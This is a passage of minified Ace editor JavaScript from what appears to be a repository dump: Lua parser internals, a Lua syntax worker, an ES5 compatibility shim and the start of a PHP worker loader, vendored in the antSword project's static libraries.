parseFloat(t.slice(M,C))}function W(){var e=C;switch(t.charAt(C)){case\"n\":return C++,\"\\n\";case\"r\":return C++,\"\\r\";case\"t\":return C++,\"\t\";case\"v\":return C++,\"\u000b\";case\"b\":return C++,\"\\b\";case\"f\":return C++,\"\\f\";case\"z\":return C++,H(),\"\";case\"x\":if(Z(t.charCodeAt(C+1))&&Z(t.charCodeAt(C+2)))return C+=3,\"\\\\\"+t.slice(e,C);return\"\\\\\"+t.charAt(C++);default:if(Y(t.charCodeAt(C))){while(Y(t.charCodeAt(++C)));return\"\\\\\"+t.slice(e,C)}return t.charAt(C++)}}function X(){M=C,C+=2;var e=t.charAt(C),i=\"\",s=!1,o=C,u=D,a=_;\"[\"===e&&(i=V(),!1===i?i=e:s=!0);if(!s){while(C<r){if(G(t.charCodeAt(C)))break;C++}n.comments&&(i=t.slice(o,C))}if(n.comments){var f=v.comment(i,t.slice(M,C));n.locations&&(f.loc={start:{line:a,column:M-u},end:{line:_,column:C-D}}),n.ranges&&(f.range=[M,C]),O.push(f)}}function V(){var e=0,n=\"\",i=!1,s,o;C++;while(\"=\"===t.charAt(C+e))e++;if(\"[\"!==t.charAt(C+e))return!1;C+=e+1,G(t.charCodeAt(C))&&(_++,D=C++),o=C;while(C<r){s=t.charAt(C++),G(s.charCodeAt(0))&&(_++,D=C);if(\"]\"===s){i=!0;for(var u=0;u<e;u++)\"=\"!==t.charAt(C+u)&&(i=!1);\"]\"!==t.charAt(C+e)&&(i=!1)}if(i)break}return n+=t.slice(o,C-1),C+=e+1,n}function $(){L=k,k=A,A=P()}function J(e){return e===k.value?($(),!0):!1}function K(e){e===k.value?$():x(k,d.expected,e,k.value)}function Q(e){return 9===e||32===e||11===e||12===e}function G(e){return 10===e||13===e}function Y(e){return e>=48&&e<=57}function Z(e){return e>=48&&e<=57||e>=97&&e<=102||e>=65&&e<=70}function et(e){return e>=65&&e<=90||e>=97&&e<=122||95===e}function tt(e){return e>=65&&e<=90||e>=97&&e<=122||95===e||e>=48&&e<=57}function nt(e){switch(e.length){case 2:return\"do\"===e||\"if\"===e||\"in\"===e||\"or\"===e;case 3:return\"and\"===e||\"end\"===e||\"for\"===e||\"not\"===e;case 4:return\"else\"===e||\"goto\"===e||\"then\"===e;case 5:return\"break\"===e||\"local\"===e||\"until\"===e||\"while\"===e;case 6:return\"elseif\"===e||\"repeat\"===e||\"return\"===e;case 8:return\"function\"===e}return!1}function rt(e){return l===e.type?\"#-\".indexOf(e.value)>=0:u===e.type?\"not\"===e.value:!1}function it(e){switch(e.type){case\"CallExpression\":case\"TableCallExpression\":case\"StringCallExpression\":return!0}return!1}function st(e){if(s===e.type)return!0;if(u!==e.type)return!1;switch(e.value){case\"else\":case\"elseif\":case\"end\":case\"until\":return!0;default:return!1}}function ft(){ot.push(Array.apply(null,ot[ut++]))}function lt(){ot.pop(),ut--}function ct(e){if(-1!==b(ot[ut],e))return;ot[ut].push(e)}function ht(e){ct(e.name),pt(e,!0)}function pt(e,t){!t&&-1===w(at,\"name\",e.name)&&at.push(e),e.isLocal=t}function dt(e){return-1!==b(ot[ut],e)}function gt(){return new yt(k)}function yt(e){n.locations&&(this.loc={start:{line:e.line,column:e.range[0]-e.lineStart},end:{line:0,column:0}}),n.ranges&&(this.range=[e.range[0],0])}function bt(){mt&&vt.push(gt())}function wt(e){mt&&vt.push(e)}function Et(){$(),bt();var e=St();return s!==k.type&&N(k),mt&&!e.length&&(L=k),m(v.chunk(e))}function St(e){var t=[],r;n.scope&&ft();while(!st(k)){if(\"return\"===k.value){t.push(xt());break}r=xt(),r&&t.push(r)}return n.scope&&lt(),t}function xt(){bt();if(u===k.type)switch(k.value){case\"local\":return $(),Dt();case\"if\":return $(),Mt();case\"return\":return $(),Ot();case\"function\":$();var e=jt();return Bt(e);case\"while\":return $(),Lt();case\"for\":return $(),_t();case\"repeat\":return $(),At();case\"break\":return $(),Nt();case\"do\":return $(),kt();case\"goto\":return $(),Ct()}if(l===k.type&&J(\"::\"))return Tt();mt&&vt.pop();if(J(\";\"))return;return Pt()}function Tt(){var e=k.value,t=Ht();return n.scope&&(ct(\"::\"+e+\"::\"),pt(t,!0)),K(\"::\"),m(v.labelStatement(t))}function Nt(){return m(v.breakStatement())}function Ct(){var e=k.value,t=Ht();return n.scope&&(t.isLabel=dt(\"::\"+e+\"::\")),m(v.gotoStatement(t))}function kt(){var e=St();return K(\"end\"),m(v.doStatement(e))}function Lt(){var e=qt();K(\"do\");var t=St();return K(\"end\"),m(v.whileStatement(e,t))}function At(){var e=St();K(\"until\");var t=qt();return m(v.repeatStatement(t,e))}function Ot(){var e=[];if(\"end\"!==k.value){var t=It();null!=t&&e.push(t);while(J(\",\"))t=qt(),e.push(t);J(\";\")}return m(v.returnStatement(e))}function Mt(){var e=[],t,n,r;mt&&(r=vt[vt.length-1],vt.push(r)),t=qt(),K(\"then\"),n=St(),e.push(m(v.ifClause(t,n))),mt&&(r=gt());while(J(\"elseif\"))wt(r),t=qt(),K(\"then\"),n=St(),e.push(m(v.elseifClause(t,n))),mt&&(r=gt());return J(\"else\")&&(mt&&(r=new yt(L),vt.push(r)),n=St(),e.push(m(v.elseClause(n)))),K(\"end\"),m(v.ifStatement(e))}function _t(){var e=Ht(),t;n.scope&&ht(e);if(J(\"=\")){var r=qt();K(\",\");var i=qt(),s=J(\",\")?qt():null;return K(\"do\"),t=St(),K(\"end\"),m(v.forNumericStatement(e,r,i,s,t))}var o=[e];while(J(\",\"))e=Ht(),n.scope&&ht(e),o.push(e);K(\"in\");var u=[];do{var a=qt();u.push(a)}while(J(\",\"));return K(\"do\"),t=St(),K(\"end\"),m(v.forGenericStatement(o,u,t))}function Dt(){var e;if(a===k.type){var t=[],r=[];do e=Ht(),t.push(e);while(J(\",\"));if(J(\"=\"))do{var i=qt();r.push(i)}while(J(\",\"));if(n.scope)for(var s=0,o=t.length;s<o;s++)ht(t[s]);return m(v.localStatement(t,r))}if(J(\"function\"))return e=Ht(),n.scope&&ht(e),Bt(e,!0);T(\"<name>\",k)}function Pt(){var e=k,t,n;mt&&(n=gt()),t=zt();if(null==t)return N(k);if(\",=\".indexOf(k.value)>=0){var r=[t],i=[],s;while(J(\",\"))s=zt(),null==s&&T(\"<expression>\",k),r.push(s);K(\"=\");do s=qt(),i.push(s);while(J(\",\"));return wt(n),m(v.assignmentStatement(r,i))}return it(t)?(wt(n),m(v.callStatement(t))):N(e)}function Ht(){bt();var e=k.value;return a!==k.type&&T(\"<name>\",k),$(),m(v.identifier(e))}function Bt(e,t){var r=[];K(\"(\");if(!J(\")\"))for(;;)if(a===k.type){var i=Ht();n.scope&&ht(i),r.push(i);if(J(\",\"))continue;if(J(\")\"))break}else{if(p===k.type){r.push(Xt()),K(\")\");break}T(\"<name> or '...'\",k)}var s=St();return K(\"end\"),t=t||!1,m(v.functionStatement(e,r,t,s))}function jt(){var e,t,r;mt&&(r=gt()),e=Ht(),n.scope&&pt(e,!1);while(J(\".\"))wt(r),t=Ht(),n.scope&&pt(t,!1),e=m(v.memberExpression(e,\".\",t));return J(\":\")&&(wt(r),t=Ht(),n.scope&&pt(t,!1),e=m(v.memberExpression(e,\":\",t))),e}function Ft(){var e=[],t,n;for(;;){bt();if(l===k.type&&J(\"[\"))t=qt(),K(\"]\"),K(\"=\"),n=qt(),e.push(m(v.tableKey(t,n)));else if(a===k.type)t=qt(),J(\"=\")?(n=qt(),e.push(m(v.tableKeyString(t,n)))):e.push(m(v.tableValue(t)));else{if(null==(n=It())){vt.pop();break}e.push(m(v.tableValue(n)))}if(\",;\".indexOf(k.value)>=0){$();continue}if(\"}\"===k.value)break}return K(\"}\"),m(v.tableConstructorExpression(e))}function It(){var e=Ut(0);return e}function qt(){var e=It();if(null!=e)return e;T(\"<expression>\",k)}function Rt(e){var t=e.charCodeAt(0),n=e.length;if(1===n)switch(t){case 94:return 10;case 42:case 47:case 37:return 7;case 43:case 45:return 6;case 60:case 62:return 3}else if(2===n)switch(t){case 46:return 5;case 60:case 62:case 61:case 126:return 3;case 111:return 1}else if(97===t&&\"and\"===e)return 2;return 0}function Ut(e){var t=k.value,n,r;mt&&(r=gt());if(rt(k)){bt(),$();var i=Ut(8);i==null&&T(\"<expression>\",k),n=m(v.unaryExpression(t,i))}null==n&&(n=Xt(),null==n&&(n=zt()));if(null==n)return null;var s;for(;;){t=k.value,s=l===k.type||u===k.type?Rt(t):0;if(s===0||s<=e)break;(\"^\"===t||\"..\"===t)&&s--,$();var o=Ut(s);null==o&&T(\"<expression>\",k),mt&&vt.push(r),n=m(v.binaryExpression(t,n,o))}return n}function zt(){var e,t,r,i;mt&&(r=gt());if(a===k.type)t=k.value,e=Ht(),n.scope&&pt(e,i=dt(t));else{if(!J(\"(\"))return null;e=qt(),K(\")\"),n.scope&&(i=e.isLocal)}var s,u;for(;;)if(l===k.type)switch(k.value){case\"[\":wt(r),$(),s=qt(),e=m(v.indexExpression(e,s)),K(\"]\");break;case\".\":wt(r),$(),u=Ht(),n.scope&&pt(u,i),e=m(v.memberExpression(e,\".\",u));break;case\":\":wt(r),$(),u=Ht(),n.scope&&pt(u,i),e=m(v.memberExpression(e,\":\",u)),wt(r),e=Wt(e);break;case\"(\":case\"{\":wt(r),e=Wt(e);break;default:return e}else{if(o!==k.type)break;wt(r),e=Wt(e)}return e}function Wt(e){if(l===k.type)switch(k.value){case\"(\":$();var t=[],n=It();null!=n&&t.push(n);while(J(\",\"))n=qt(),t.push(n);return K(\")\"),m(v.callExpression(e,t));case\"{\":bt(),$();var r=Ft();return m(v.tableCallExpression(e,r))}else if(o===k.type)return m(v.stringCallExpression(e,Xt()));T(\"function arguments\",k)}function Xt(){var e=o|f|c|h|p,n=k.value,r=k.type,i;mt&&(i=gt());if(r&e){wt(i);var s=t.slice(k.range[0],k.range[1]);return $(),m(v.literal(r,n,s))}if(u===r&&\"function\"===n)return wt(i),$(),Bt(null);if(J(\"{\"))return wt(i),Ft()}function Vt(s,o){return\"undefined\"==typeof o&&\"object\"==typeof s&&(o=s,s=undefined),o||(o={}),t=s||\"\",n=S(i,o),C=0,_=1,D=0,r=t.length,ot=[[]],ut=0,at=[],vt=[],n.comments&&(O=[]),n.wait?e:Jt()}function $t(n){return t+=String(n),r=t.length,e}function Jt(e){\"undefined\"!=typeof e&&$t(e),r=t.length,mt=n.locations||n.ranges,A=P();var i=Et();n.comments&&(i.comments=O),n.scope&&(i.globals=at);if(vt.length>0)throw new Error(\"Location tracking failed. This is most likely a bug in luaparse\");return i}e.version=\"0.1.4\";var t,n,r,i=e.defaultOptions={wait:!1,comments:!0,scope:!1,locations:!1,ranges:!1},s=1,o=2,u=4,a=8,f=16,l=32,c=64,h=128,p=256;e.tokenTypes={EOF:s,StringLiteral:o,Keyword:u,Identifier:a,NumericLiteral:f,Punctuator:l,BooleanLiteral:c,NilLiteral:h,VarargLiteral:p};var d=e.errors={unexpected:\"Unexpected %1 '%2' near '%3'\",expected:\"'%1' expected near '%2'\",expectedToken:\"%1 expected near '%2'\",unfinishedString:\"unfinished string near '%1'\",malformedNumber:\"malformed number near '%1'\"},v=e.ast={labelStatement:function(e){return{type:\"LabelStatement\",label:e}},breakStatement:function(){return{type:\"BreakStatement\"}},gotoStatement:function(e){return{type:\"GotoStatement\",label:e}},returnStatement:function(e){return{type:\"ReturnStatement\",arguments:e}},ifStatement:function(e){return{type:\"IfStatement\",clauses:e}},ifClause:function(e,t){return{type:\"IfClause\",condition:e,body:t}},elseifClause:function(e,t){return{type:\"ElseifClause\",condition:e,body:t}},elseClause:function(e){return{type:\"ElseClause\",body:e}},whileStatement:function(e,t){return{type:\"WhileStatement\",condition:e,body:t}},doStatement:function(e){return{type:\"DoStatement\",body:e}},repeatStatement:function(e,t){return{type:\"RepeatStatement\",condition:e,body:t}},localStatement:function(e,t){return{type:\"LocalStatement\",variables:e,init:t}},assignmentStatement:function(e,t){return{type:\"AssignmentStatement\",variables:e,init:t}},callStatement:function(e){return{type:\"CallStatement\",expression:e}},functionStatement:function(e,t,n,r){return{type:\"FunctionDeclaration\",identifier:e,isLocal:n,parameters:t,body:r}},forNumericStatement:function(e,t,n,r,i){return{type:\"ForNumericStatement\",variable:e,start:t,end:n,step:r,body:i}},forGenericStatement:function(e,t,n){return{type:\"ForGenericStatement\",variables:e,iterators:t,body:n}},chunk:function(e){return{type:\"Chunk\",body:e}},identifier:function(e){return{type:\"Identifier\",name:e}},literal:function(e,t,n){return e=e===o?\"StringLiteral\":e===f?\"NumericLiteral\":e===c?\"BooleanLiteral\":e===h?\"NilLiteral\":\"VarargLiteral\",{type:e,value:t,raw:n}},tableKey:function(e,t){return{type:\"TableKey\",key:e,value:t}},tableKeyString:function(e,t){return{type:\"TableKeyString\",key:e,value:t}},tableValue:function(e){return{type:\"TableValue\",value:e}},tableConstructorExpression:function(e){return{type:\"TableConstructorExpression\",fields:e}},binaryExpression:function(e,t,n){var r=\"and\"===e||\"or\"===e?\"LogicalExpression\":\"BinaryExpression\";return{type:r,operator:e,left:t,right:n}},unaryExpression:function(e,t){return{type:\"UnaryExpression\",operator:e,argument:t}},memberExpression:function(e,t,n){return{type:\"MemberExpression\",indexer:t,identifier:n,base:e}},indexExpression:function(e,t){return{type:\"IndexExpression\",base:e,index:t}},callExpression:function(e,t){return{type:\"CallExpression\",base:e,arguments:t}},tableCallExpression:function(e,t){return{type:\"TableCallExpression\",base:e,arguments:t}},stringCallExpression:function(e,t){return{type:\"StringCallExpression\",base:e,argument:t}},comment:function(e,t){return{type:\"Comment\",value:e,raw:t}}},g=Array.prototype.slice,y=Object.prototype.toString,b=function(t,n){for(var r=0,i=t.length;r<i;r++)if(t[r]===n)return r;return-1},C,k,L,A,O,M,_,D;e.lex=P;var ot,ut,at,vt=[],mt;yt.prototype.complete=function(){n.locations&&(this.loc.end.line=L.line,this.loc.end.column=L.range[1]-L.lineStart),n.ranges&&(this.range[1]=L.range[1])},e.parse=Vt,e.write=$t,e.end=Jt})}),ace.define(\"ace/mode/lua_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/worker/mirror\",\"ace/mode/lua/luaparse\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../worker/mirror\").Mirror,s=e(\"../mode/lua/luaparse\"),o=t.Worker=function(e){i.call(this,e),this.setTimeout(500)};r.inherits(o,i),function(){this.onUpdate=function(){var e=this.doc.getValue(),t=[];try{s.parse(e)}catch(n){n instanceof SyntaxError&&t.push({row:n.line-1,column:n.column,text:n.message,type:\"error\"})}this.sender.emit(\"annotate\",t)}}.call(o.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(y+t);if(!f(t,n))return;var r,i,s;r={enumerable:!0,configurable:!0};if(d){var u=t.__proto__;t.__proto__=o;var i=h(t,n),s=p(t,n);t.__proto__=u;if(i||s)return i&&(r.get=i),s&&(r.set=s),r}return r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/ace/worker-php.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return 